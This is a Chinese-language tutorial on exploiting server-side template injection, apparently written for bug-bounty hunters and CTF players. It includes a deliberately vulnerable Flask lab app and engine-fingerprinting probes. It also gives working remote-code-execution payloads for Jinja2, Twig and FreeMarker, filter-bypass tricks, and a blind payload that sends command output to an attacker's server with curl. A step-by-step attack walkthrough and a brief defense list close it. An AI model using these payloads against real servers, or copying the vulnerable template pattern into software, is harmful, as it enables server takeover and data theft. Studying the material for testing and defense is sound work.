📌 适合谁看
- 看到
Hello, {{name}}时知道可能有洞但不知道怎么测的 - 挖 SRC 遇到 Flask/Jinja2 站点想深入搞的
- 面试总被问 SSTI 但只会背 payload 的
一、前置准备
本地靶场:
# 1. Flask SSTI 靶场(推荐)
docker run -d -p 5000:5000 vulhub/flask-ssti
# 2. 或自己搭一个
cat << 'EOF' > /tmp/ssti_app.py
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', 'world')
template = f"<h1>Hello, {name}!</h1>"
return render_template_string(template)
app.run(host='0.0.0.0', port=5001)
EOF
python3 /tmp/ssti_app.py
测试工具: 浏览器 + Burp Suite 或 curl
curl -s 'http://localhost:5001/?name={{7*7}}'
二、核心原理
SSTI(Server-Side Template Injection)发生在 用户输入被直接拼入模板并由服务端渲染 时。
用户输入 → 拼接进模板字符串 → render() 执行 → 输出
关键区别:
- XSS:输出在浏览器端被解释 → 影响用户
- SSTI:输入在服务端被模板引擎解析 → 影响服务器
模板引擎在渲染 {{77}} 时会当做表达式计算,返回 49。如果返回了 {{77}} 原样,说明不存在 SSTI。返回 49 → 恭喜,你有洞了。
三、第一步:识别模板引擎
不同模板引擎的 payload 不同,先把引擎认出来:
| 测试 payload | Jinja2 (Flask) | Twig (PHP) | FreeMarker (Java) | Velocity (Java) | |
|---|---|---|---|---|---|
{{7*7}} | 49 | 49 | ❌ | ❌ | |
{{7*'7'}} | 7777777 | 7777777 | ❌ | ❌ | |
| `{{7*'7' | upper}}` | ❌ | 7777777 | ❌ | ❌ |
#{7*7} | ❌ | ❌ | 49 | ❌ | |
$!{7*7} | ❌ | ❌ | ❌ | 49 |
快速识别命令:
# 测试不同语法
curl 'http://target/?name={{7*7}}' # 返回49 → Jinja2/Twig
curl 'http://target/?name=$!{7*7}' # 返回49 → Velocity
curl 'http://target/?name=#{7*7}' # 返回49 → FreeMarker
curl 'http://target/?name={{7*"7"}}' # 返回7777777 → Jinja2
四、Jinja2(Python)— 最常遇到
4.1 基础探测
http://target/?name={{7*7}}
页面显示 49 → SSTI 确认。
4.2 探索可用对象
# 查看所有全局对象
{{ config }}
{{ request }}
{{ self }}
{{ __class__ }}
{{ __mro__ }}
{{ __subclasses__() }}
4.3 从基本类型到 RCE — 经典链
# Step 1: 找到 object 基类
{{ ''.__class__.__mro__[2] }}
# 返回 <class 'object'>
# Step 2: 列出所有子类
{{ ''.__class__.__mro__[2].__subclasses__() }}
# 返回几百个类的列表,数一下 subprocess.Popen 在第几个
# Step 3: 找 subprocess.Popen
{{ ''.__class__.__mro__[2].__subclasses__()[X] }}
# 把 X 换成 subprocess.Popen 的位置
# Step 4: 执行命令
{{ ''.__class__.__mro__[2].__subclasses__()[X]('whoami', shell=True, stdout=-1).communicate()[0] }}
4.4 一键 RCE payload
# 找 Popen 位置的脚本
curl -s 'http://target/?name={{''.__class__.__mro__[2].__subclasses__()}}' | \
python3 -c "import sys; data=sys.stdin.read(); \
classes=data.split('<class '); \
for i,c in enumerate(classes): \
if 'Popen' in c: print(f'Popen at index {i-1}')"
拿到索引后直接打:
{{''.__class__.__mro__[2].__subclasses__()[索引]('id', shell=True, stdout=-1).communicate()[0]}}
4.5 盲测(无回显)
没有页面回显时,用外带:
{{''.__class__.__mro__[2].__subclasses__()[索引]( \
'curl http://你的VPS:8888/$(whoami)', shell=True, stdout=-1).communicate()[0]}}
五、Twig(PHP)— CTF 常客
# 基础探测
{{7*7}} → 49
# 查看版本
{{ constant('TWIG_VERSION') }}
# RCE — 利用 _self.env
{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}
# 或者直接
{{ system('id') }}
{{ passthru('cat /etc/passwd') }}
六、FreeMarker(Java)— 大厂 Java 站常见
# 基础探测
#{7*7} → 49
# 获取变量
${.data_model}
# RCE — 通过 Runtime.exec
${"freemarker.template.utility.Execute"?new()("id")}
# 或者
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("cat /etc/passwd")}
七、SSTI WAF 绕过
7.1 字符串拼接绕过关键字过滤
# 过滤了 "class"
{{ ''['__cla'+'ss__'] }}
# 过滤了 "subprocess"
{% set a = 'sub' %}
{% set b = 'process' %}
{{ ''.__class__.__mro__[2].__subclasses__()[X](a~b, ...) }}
# 使用 request.args 传参
{{ ''.__class__.__mro__[2].__subclasses__()[request.args.i]('id', ...) }}
# URL: ?name={{...}}&i=索引
7.2 Hex / base64 编码
# 十六进制绕过
{{ ''|attr('\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f') }} # __class__
# 使用 lipsum 过滤器
{{ lipsum.__globals__["os"].popen("id").read() }}
7.3 过滤了单引号和双引号
# 用 request.args 传字符串
{{ ''.__class__.__mro__[2].__subclasses__()[request.args.i](
request.args.cmd, shell=True, stdout=-1).communicate()[0] }}
# 访问: ?name=...&i=索引&cmd=whoami
八、实战场景完整演示
场景: 某 Flask 博客,搜索功能返回 Welcome, 用户名
# Step 1 — 探测
curl 'http://blog.example.com/welcome?name={{7*7}}'
# 返回: Welcome, 49!
# ✅ SSTI 确认
# Step 2 — 识别模板引擎
curl 'http://blog.example.com/welcome?name={{7*"7"}}'
# 返回: Welcome, 7777777!
# ✅ Jinja2
# Step 3 — 探索
curl 'http://blog.example.com/welcome?name={{config}}'
# 返回了 Flask 配置 — 可能包含 SECRET_KEY
# Step 4 — 找 RCE 函数索引
# 先看子类数量
curl 'http://blog.example.com/welcome?name=其中一项'_''
# 找 Popen 索引
# Step 5 — RCE
curl 'http://blog.example.com/welcome?name={{''.__class__.__mro__[2].__subclasses__()[233]("cat /etc/flag.txt", shell=True, stdout=-1).communicate()[0]}}'
# 返回: flag{...}
九、防御视角
❌ 永远不要:render_template_string(用户输入)
✅ 应该用:render_template("模板文件", 变量=用户输入)
✅ 上下文净化:jinja2.Environment(autoescape=True)
✅ 禁用危险函数:配置沙箱 SandboxedEnvironment
✅ 输入白名单:仅允许字母/数字字符
参考资源
| 类型 | 链接 |
|---|---|
| PayloadsAllTheThings SSTI | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection |
| PortSwigger SSTI 实验室 | https://portswigger.net/web-security/server-side-template-injection |
| Jinja2 模板文档 | https://jinja.palletsprojects.com/en/latest/ |
| Tplmap (SSTi 自动利用) | https://github.com/epinna/tplmap |